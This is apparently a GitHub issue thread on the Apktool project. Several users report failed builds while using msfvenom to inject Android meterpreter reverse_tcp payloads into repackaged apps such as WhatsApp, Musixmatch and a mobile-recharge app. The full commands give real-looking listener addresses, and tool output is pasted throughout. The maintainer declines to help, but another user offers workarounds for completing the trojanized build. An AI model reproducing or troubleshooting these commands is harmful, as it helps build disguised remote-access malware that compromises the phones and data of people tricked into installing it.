Apktool: Error: Unable to rebuild apk with apktool

[ProsAnon]

I am using apktool v 2.3.1. on Kali Linux.

I get this error. Yesterday I have tried and it worked, today I get this error with any APK, tried at least 10.

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Using APK template: Whatsappo.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.whatsapp.zumvr
[] Loading /tmp/d20180110-6408-1ej4cd4/original/smali/com/whatsapp/AppShell.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[*] Rebuilding Whatsappo.apk with meterpreter injection as /tmp/d20180110-6408-1ej4cd4/output.apk
Error: Unable to rebuild apk with apktool

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[iBotPeaches]

Unfortunately apktool seems to be packaged into a 3rd party application here using apktool to pack some payload into an application. The reason for the build failure is not including in this stacktrace so nothing I can do here.

Thanks for the report, but not enough details here for me to investigate.

[ProsAnon]

What details do you need? I will provide because I really need to get this fixed

[iBotPeaches]

Generally every bit of details that the issue template requests. You removed it and just posted a stacktrace of a 3rd party tool that didn't even expose the stacktrace from Apktool. So generally useless for me. I would report this to whatever tool this is.

[ProsAnon]

I am really sorry, I'm in a hurry.

msfvenom -x Whatsappo.apk -p android/meterpreter/reverse_tcp LHOST=MY IPLPORT=6666 -o W.apk
Using APK template: Whatsappo.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.whatsapp.megzx
[] Loading /tmp/d20180110-6779-18jmnct/original/smali/com/whatsapp/AppShell.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[*] Rebuilding Whatsappo.apk with meterpreter injection as /tmp/d20180110-6779-18jmnct/output.apk
Error: Unable to rebuild apk with apktool
root@kali:~/Desktop/MSF/Original APKS#

EDIT:

Apktool v2.3.1-dirty - a tool for reengineering Android apk files
with smali v2.2.1-dev and baksmali v2.2.1-dev
Copyright 2014 Ryszard Wiśniewski [e-mail]
Updated by Connor Tumbleson [e-mail]

[rootech1]

how to fix this error
msfvenom -x /root/Desktop/Musixmatch.apk -p android/meterpreter/reverse_tcp LHOST=197.231.43.178 LPORT=6060 -o /root/Desktop/Musixmatchreload.apk

Using APK template: /root/Desktop/Musixmatch.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.musixmatch.android.lyrify.pnriw
[] Loading /tmp/d20180528-4429-p0wqf6/original/smali/o/abm.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[*] Rebuilding /root/Desktop/Musixmatch.apk with meterpreter injection as /tmp/d20180528-4429-p0wqf6/output.apk
Error: Unable to rebuild apk with apktool

[lophi22]

really . is there no solution

[black15]

Error: Unable to rebuild apk with apktool

[fedi966]

any one have a solution?

[AshkanRafiee]

here you can solve the problem as i answered this question on stackoverflow:
Link To The Answer On Stack OverFlow

[moonwolf63x]

Error: Unable to rebuild apk with apktool my apktool is already updated

[SandeshKarumuri]

I too have the same error
root@kali:~/Downloads# msfvenom -x myidea.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11560 -o /root/Desktop/myideafreerecharge.apk
Using APK template: myidea.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.ideacellular.myidea.qwpse
[] Loading /tmp/d20181112-9095-1hglxlh/original/smali/com/ideacellular/myidea/MyIdeaApplication.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[*] Rebuilding myidea.apk with meterpreter injection as /tmp/d20181112-9095-1hglxlh/output.apk
Error: Unable to rebuild apk with apktool

my apktool is updated to latest version 2.3.4

[AshkanRafiee]

i have updated the answer on StackOverflow Follow The mentioned link again.

[SandeshKarumuri]

i have updated the answer on StackOverflow Follow The mentioned link again.

already tried but not working

[AshkanRafiee]

i have updated the answer on StackOverflow Follow The mentioned link again.

already tried but not working

what didn't work ? did u injected manually and rebuilt your apk using "android studio" ?

[SandeshKarumuri]

I too have the same error
root@kali:~/Downloads# msfvenom -x myidea.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11560 -o /root/Desktop/myideafreerecharge.apk
Using APK template: myidea.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[_] Creating signing key and keystore.. [_] Decompiling original APK..
[_] Decompiling payload APK.. [_] Locating hook point..
[_] Adding payload as package com.ideacellular.myidea.qwpse [_] Loading /tmp/d20181112-9095-1hglxlh/original/smali/com/ideacellular/myidea/MyIdeaApplication.smali and injecting payload..
[_] Poisoning the manifest with meterpreter permissions.. [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[*] Rebuilding myidea.apk with meterpreter injection as /tmp/d20181112-9095-1hglxlh/output.apk
Error: Unable to rebuild apk with apktool

my apktool is updated to latest version 2.3.4

i have updated my apktool by following ur steps https://github.com/iBotPeaches/Apktool/issues/1707#issuecomment-437953446
and installed zipalign
and tried my process as above
still getting the same error

[AshkanRafiee]

I too have the same error
root@kali:~/Downloads# msfvenom -x myidea.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11560 -o /root/Desktop/myideafreerecharge.apk
Using APK template: myidea.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[_] Creating signing key and keystore.. [_] Decompiling original APK..
[_] Decompiling payload APK.. [_] Locating hook point..
[_] Adding payload as package com.ideacellular.myidea.qwpse [_] Loading /tmp/d20181112-9095-1hglxlh/original/smali/com/ideacellular/myidea/MyIdeaApplication.smali and injecting payload..
[_] Poisoning the manifest with meterpreter permissions.. [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[*] Rebuilding myidea.apk with meterpreter injection as /tmp/d20181112-9095-1hglxlh/output.apk
Error: Unable to rebuild apk with apktool
my apktool is updated to latest version 2.3.4

i have updated my apktool by following ur steps #1707 (comment)
and installed zipalign
and tried my process as above
still getting the same error

as i said in "In The End" Part , if you still having the rebuilding problem , it's because of apktool that cannot rebuild large apk files, use lower size apk file (<5MB) or use another tool for rebuilding your apk file and inject your Codes or files manually also.

[SandeshKarumuri]

another tools???

[SandeshKarumuri]

I too have the same error
root@kali:~/Downloads# msfvenom -x myidea.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11560 -o /root/Desktop/myideafreerecharge.apk
Using APK template: myidea.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[_] Creating signing key and keystore.. [_] Decompiling original APK..
[_] Decompiling payload APK.. [_] Locating hook point..
[_] Adding payload as package com.ideacellular.myidea.qwpse [_] Loading /tmp/d20181112-9095-1hglxlh/original/smali/com/ideacellular/myidea/MyIdeaApplication.smali and injecting payload..
[_] Poisoning the manifest with meterpreter permissions.. [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[*] Rebuilding myidea.apk with meterpreter injection as /tmp/d20181112-9095-1hglxlh/output.apk
Error: Unable to rebuild apk with apktool
my apktool is updated to latest version 2.3.4

i have updated my apktool by following ur steps #1707 (comment)
and installed zipalign
and tried my process as above
still getting the same error

as i said in "In The End" Part , if you still having the rebuilding problem , it's because of apktool that cannot rebuild large apk files, use lower size apk file (<5MB) or use another tool for rebuilding your apk file and inject your Codes or files manually also.

same problem when using 1.3 mb file